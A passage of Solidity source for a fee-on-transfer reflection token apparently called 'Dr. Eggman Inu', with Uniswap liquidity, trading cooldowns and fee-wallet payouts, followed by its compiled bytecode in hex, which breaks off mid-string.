_maxBuyAmount); event CooldownEnabledUpdated(bool _cooldown); event FeeMultiplierUpdated(uint _multiplier); event FeeRateUpdated(uint _rate); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function setFee(uint256 impactFee) private { uint256 _impactFee = 10; if(_impactFee.mod(2) != 0) { _impactFee++; } _taxFee = (_impactFee.mul(2)).div(10); _teamFee = (_impactFee.mul(10)).div(10); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) { if(_cooldownEnabled) { if(!cooldown[msg.sender].exists) { cooldown[msg.sender] = User(0,0,true); } } // buy if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(tradingOpen, "Trading not yet enabled."); _taxFee = 2; _teamFee = 8; if(_cooldownEnabled) { if(buyLimitEnd > block.timestamp) { require(amount <= _maxBuyAmount); require(cooldown[to].buy < block.timestamp, "Your buy cooldown has not expired."); cooldown[to].buy = block.timestamp + (180 seconds); } } if(_cooldownEnabled) { cooldown[to].sell = block.timestamp + (15 seconds); } } uint256 contractTokenBalance = balanceOf(address(this)); // sell if(!inSwap && from != uniswapV2Pair && tradingOpen) { if(_cooldownEnabled) { require(cooldown[from].sell < block.timestamp, "Your sell cooldown has not expired."); } if(_useImpactFeeSetter) { uint256 feeBasis = amount.mul(_feeMultiplier); feeBasis = feeBasis.div(balanceOf(uniswapV2Pair).add(amount)); setFee(feeBasis); } if(contractTokenBalance > 0) { if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) { contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100); } swapTokensForEth(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function addLiquidity() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _maxBuyAmount = 2000000000 * 10**9; _launchTime = block.timestamp; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() public onlyOwner { tradingOpen = true; buyLimitEnd = block.timestamp + (90 seconds); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } // fallback in case contract is not releasing tokens fast enough function setFeeRate(uint256 rate) external { require(_msgSender() == _FeeAddress); require(rate < 51, "Rate can't exceed 50%"); _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setCooldownEnabled(bool onoff) external onlyOwner() { _cooldownEnabled = onoff; emit CooldownEnabledUpdated(_cooldownEnabled); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function cooldownEnabled() public view returns (bool) { return _cooldownEnabled; } function timeToBuy(address buyer) public view returns (uint) { return block.timestamp - cooldown[buyer].buy; } function timeToSell(address buyer) public view returns (uint) { return block.timestamp - cooldown[buyer].sell; } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } }
0x6080604052600436106101395760003560e01c8063715018a6116100ab578063a9fc35a91161006f578063a9fc35a914610423578063c3c8cd8014610460578063c9567bf914610477578063db92dbb61461048e578063dd62ed3e146104b9578063e8078d94146104f657610140565b8063715018a61461034e5780638da5cb5b1461036557806395d89b4114610390578063a9059cbb146103bb578063a985ceef146103f857610140565b8063313ce567116100fd578063313ce5671461024057806345596e2e1461026b5780635932ead11461029457806368a3a6a5146102bd5780636fc3eaec146102fa57806370a082311461031157610140565b806306fdde0314610145578063095ea7b31461017057806318160ddd146101ad57806323b872dd146101d857806327f3a72a1461021557610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a61050d565b6040516101679190613063565b60405180910390f35b34801561017c57600080fd5b5061019760048036038101906101929190612b6d565b61054a565b6040516101a49190613048565b60405180910390f35b3480156101b957600080fd5b506101c2610568565b6040516101cf9190613245565b60405180910390f35b3480156101e457600080fd5b506101ff60048036038101906101fa9190612b1a565b610579565b60405161020c9190613048565b60405180910390f35b34801561022157600080fd5b5061022a610652565b6040516102379190613245565b60405180910390f35b34801561024c57600080fd5b50610255610662565b60405161026291906132ba565b60405180910390f35b34801561027757600080fd5b50610292600480360381019061028d9190612c07565b61066b565b005b3480156102a057600080fd5b506102bb60048036038101906102b69190612bad565b610752565b005b3480156102c957600080fd5b506102e460048036038101906102df9190612a80565b61084a565b6040516102f19190613245565b60405180910390f35b34801561030657600080fd5b5061030f6108a1565b005b34801561031d57600080fd5b5061033860048036038101906103339190612a80565b610913565b6040516103459190613245565b60405180910390f35b34801561035a57600080fd5b50610363610964565b005b34801561037157600080fd5b5061037a610ab7565b6040516103879190612f7a565b60405180910390f35b34801561039c57600080fd5b506103a5610ae0565b6040516103b29190613063565b60405180910390f35b3480156103c757600080fd5b506103e260048036038101906103dd9190612b6d565b610b1d565b6040516103ef9190613048565b60405180910390f35b34801561040457600080fd5b5061040d610b3b565b60405161041a9190613048565b60405180910390f35b34801561042f57600080fd5b5061044a60048036038101906104459190612a80565b610b52565b6040516104579190613245565b60405180910390f35b34801561046c57600080fd5b50610475610ba9565b005b34801561048357600080fd5b5061048c610c23565b005b34801561049a57600080fd5b506104a3610ce7565b6040516104b09190613245565b60405180910390f35b3480156104c557600080fd5b506104e060048036038101906104db9190612ada565b610d19565b6040516104ed9190613245565b60405180910390f35b34801561050257600080fd5b5061050b610da0565b005b60606040518060400160405280600e81526020017f44722e204567676d616e20496e75000000000000000000000000000000000000815250905090565b600061055e6105576112b0565b84846112b8565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610586848484611483565b610647846105926112b0565b610642856040518060600160405280602881526020016139ff60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105f86112b0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d4d9092919063ffffffff16565b6112b8565b600190509392505050565b600061065d30610913565b905090565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106ac6112b0565b73ffffffffffffffffffffffffffffffffffffffff16146106cc57600080fd5b6033811061070f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161070690613125565b60405180910390fd5b80600b819055507f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8600b546040516107479190613245565b60405180910390a150565b61075a6112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107de90613185565b60405180910390fd5b80601460156101000a81548160ff0219169083151502179055507f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f28706601460159054906101000a900460ff1660405161083f9190613048565b60405180910390a150565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001544261089a919061340b565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108e26112b0565b73ffffffffffffffffffffffffffffffffffffffff161461090257600080fd5b600047905061091081611db1565b50565b600061095d600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611eac565b9050919050565b61096c6112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f090613185565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600a81526020017f4547474d414ef09fa59a00000000000000000000000000000000000000000000815250905090565b6000610b31610b2a6112b0565b8484611483565b6001905092915050565b6000601460159054906101000a900460ff16905090565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015442610ba2919061340b565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bea6112b0565b73ffffffffffffffffffffffffffffffffffffffff1614610c0a57600080fd5b6000610c1530610913565b9050610c2081611f1a565b50565b610c2b6112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610caf90613185565b60405180910390fd5b60016014806101000a81548160ff021916908315150217905550605a42610cdf919061332a565b601581905550565b6000610d14601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b905090565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610da86112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2c90613185565b60405180910390fd5b60148054906101000a900460ff1615610e83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7a90613205565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f1330601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112b8565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610f5957600080fd5b505afa158015610f6d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f919190612aad565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610ff357600080fd5b505afa158015611007573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061102b9190612aad565b6040518363ffffffff1660e01b8152600401611048929190612f95565b602060405180830381600087803b15801561106257600080fd5b505af1158015611076573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061109a9190612aad565b601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061112330610913565b60008061112e610ab7565b426040518863ffffffff1660e01b815260040161115096959493929190612fe7565b6060604051808303818588803b15801561116957600080fd5b505af115801561117d573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111a29190612c34565b505050671bc16d674ec8000060108190555042600d81905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161125a929190612fbe565b602060405180830381600087803b15801561127457600080fd5b505af1158015611288573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112ac9190612bda565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611328576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131f906131e5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611398576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138f906130c5565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114769190613245565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ea906131c5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611563576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155a90613085565b60405180910390fd5b600081116115a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159d906131a5565b60405180910390fd5b6115ae610ab7565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561161c57506115ec610ab7565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c8a57601460159054906101000a900460ff161561172257600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160009054906101000a900460ff16611721576040518060600160405280600081526020016000815260200160011515815250600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082015181600001556020820151816001015560408201518160020160006101000a81548160ff0219169083151502179055509050505b5b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117cd5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118235750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119f65760148054906101000a900460ff16611875576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161186c90613225565b60405180910390fd5b60026009819055506008600a81905550601460159054906101000a900460ff161561198c5742601554111561198b576010548111156118b357600080fd5b42600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015410611937576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192e906130e5565b60405180910390fd5b60b442611944919061332a565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055505b5b601460159054906101000a900460ff16156119f557600f426119ae919061332a565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b5b6000611a0130610913565b9050601460169054906101000a900460ff16158015611a6e5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a84575060148054906101000a900460ff165b15611c8857601460159054906101000a900460ff1615611b235742600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015410611b22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b1990613145565b60405180910390fd5b5b601460179054906101000a900460ff1615611bad576000611b4f600c54846121a290919063ffffffff16565b9050611ba0611b9184611b83601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b61221d90919063ffffffff16565b8261227b90919063ffffffff16565b9050611bab816122c5565b505b6000811115611c6e57611c086064611bfa600b54611bec601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b6121a290919063ffffffff16565b61227b90919063ffffffff16565b811115611c6457611c616064611c53600b54611c45601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b6121a290919063ffffffff16565b61227b90919063ffffffff16565b90505b611c6d81611f1a565b5b60004790506000811115611c8657611c8547611db1565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611d315750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611d3b57600090505b611d4784848484612353565b50505050565b6000838311158290611d95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d8c9190613063565b60405180910390fd5b5060008385611da4919061340b565b9050809150509392505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611e0160028461227b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611e2c573d6000803e3d6000fd5b50601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611e7d60028461227b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611ea8573d6000803e3d6000fd5b5050565b6000600754821115611ef3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eea906130a5565b60405180910390fd5b6000611efd612380565b9050611f12818461227b90919063ffffffff16565b915050919050565b6001601460166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611f5257611f516135e0565b5b604051908082528060200260200182016040528015611f805781602001602082028036833780820191505090505b5090503081600081518110611f9857611f976135b1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561203a57600080fd5b505afa15801561204e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120729190612aad565b81600181518110612086576120856135b1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506120ed30601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112b8565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612151959493929190613260565b600060405180830381600087803b15801561216b57600080fd5b505af115801561217f573d6000803e3d6000fd5b50505050506000601460166101000a81548160ff02191690831515021790555050565b6000808314156121b55760009050612217565b600082846121c391906133b1565b90508284826121d29190613380565b14612212576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161220990613165565b60405180910390fd5b809150505b92915050565b600080828461222c919061332a565b905083811015612271576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161226890613105565b60405180910390fd5b8091505092915050565b60006122bd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506123ab565b905092915050565b6000600a905060006122e160028361240e90919063ffffffff16565b146122f55780806122f1906134d9565b9150505b61231c600a61230e6002846121a290919063ffffffff16565b61227b90919063ffffffff16565b600981905550612349600a61233b600a846121a290919063ffffffff16565b61227b90919063ffffffff16565b600a819055505050565b8061236157612360612458565b5b61236c84848461249b565b8061237a57612379612666565b5b50505050565b600080600061238d61267a565b915091506123a4818361227b90919063ffffffff16565b9250505090565b600080831182906123f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123e99190613063565b60405180910390fd5b50600083856124019190613380565b9050809150509392505050565b600061245083836040518060400160405280601881526020017f536166654d6174683a206d6f64756c6f206279207a65726f00000000000000008152506126dc565b905092915050565b600060095414801561246c57506000600a54145b1561247657612499565b600954600e81905550600a54600f8190555060006009819055506000600a819055505b565b6000806000806000806124ad8761273a565b95509550955095509550955061250b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127a290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506125a085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461221d90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506125ec816127ec565b6125f684836128a9565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516126539190613245565b60405180910390a3505050505050505050565b600e54600981905550600f54600a81905550565b600080600060075490506000683635c9adc5dea0000090506126b0683635c9adc5dea0000060075461227b90919063ffffffff16565b8210156126cf57600754683635c9adc5dea000009350935050506126d8565b81819350935050505b9091565b6000808314158290612724576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161271b9190613063565b60405180910390fd5b5082846127319190613522565b90509392505050565b60008060008060008060008060006127578a600954600a546128e3565b9250925092506000612767612380565b9050600080600061277a8e878787612979565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006127e483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d4d565b905092915050565b60006127f6612380565b9050600061280d82846121a290919063ffffffff16565b905061286181600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461221d90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6128be826007546127a290919063ffffffff16565b6007819055506128d98160085461221d90919063ffffffff16565b6008819055505050565b60008060008061290f6064612901888a6121a290919063ffffffff16565b61227b90919063ffffffff16565b90506000612939606461292b888b6121a290919063ffffffff16565b61227b90919063ffffffff16565b9050600061296282612954858c6127a290919063ffffffff16565b6127a290919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061299285896121a290919063ffffffff16565b905060006129a986896121a290919063ffffffff16565b905060006129c087896121a290919063ffffffff16565b905060006129e9826129db85876127a290919063ffffffff16565b6127a290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081359050612a11816139b9565b92915050565b600081519050612a26816139b9565b92915050565b600081359050612a3b816139d0565b92915050565b600081519050612a50816139d0565b92915050565b600081359050612a65816139e7565b92915050565b600081519050612a7a816139e7565b92915050565b600060208284031215612a9657612a9561360f565b5b6000612aa484828501612a02565b91505092915050565b600060208284031215612ac357612ac261360f565b5b6000612ad184828501612a17565b91505092915050565b60008060408385031215612af157612af061360f565b5b6000612aff85828601612a02565b9250506020612b1085828601612a02565b9150509250929050565b600080600060608486031215612b3357612b3261360f565b5b6000612b4186828701612a02565b9350506020612b5286828701612a02565b9250506040612b6386828701612a56565b9150509250925092565b60008060408385031215612b8457612b8361360f565b5b6000612b9285828601612a02565b9250506020612ba385828601612a56565b9150509250929050565b600060208284031215612bc357612bc261360f565b5b6000612bd184828501612a2c565b91505092915050565b600060208284031215612bf057612bef61360f565b5b6000612bfe84828501612a41565b91505092915050565b600060208284031215612c1d57612c1c61360f565b5b6000612c2b84828501612a56565b91505092915050565b600080600060608486031215612c4d57612c4c61360f565b5b6000612c5b86828701612a6b565b9350506020612c6c86828701612a6b565b9250506040612c7d86828701612a6b565b9150509250925092565b6000612c938383612c9f565b60208301905092915050565b612ca88161343f565b82525050565b612cb78161343f565b82525050565b6000612cc8826132e5565b612cd28185613308565b9350612cdd836132d5565b8060005b83811015612d0e578151612cf58882612c87565b9750612d00836132fb565b925050600181019050612ce1565b5085935050505092915050565b612d2481613451565b82525050565b612d3381613494565b82525050565b6000612d44826132f0565b612d4e8185613319565b9350612d5e8185602086016134a6565b612d6781613614565b840191505092915050565b6000612d7f602383613319565b9150612d8a82613625565b604082019050919050565b6000612da2602a83613319565b9150612dad82613674565b604082019050919050565b6000612dc5602283613319565b9150612dd0826136c3565b604082019050919050565b6000612de8602283613319565b9150612df382613712565b604082019050919050565b6000612e0b601b83613319565b9150612e1682613761565b602082019050919050565b6000612e2e601583613319565b9150612e398261378a565b602082019050919050565b6000612e51602383613319565b9150612e5c826137b3565b604082019050919050565b6000612e74602183613319565b9150612e7f82613802565b604082019050919050565b6000612e97602083613319565b9150612ea282613851565b602082019050919050565b6000612eba602983613319565b9150612ec58261387a565b604082019050919050565b6000612edd602583613319565b9150612ee882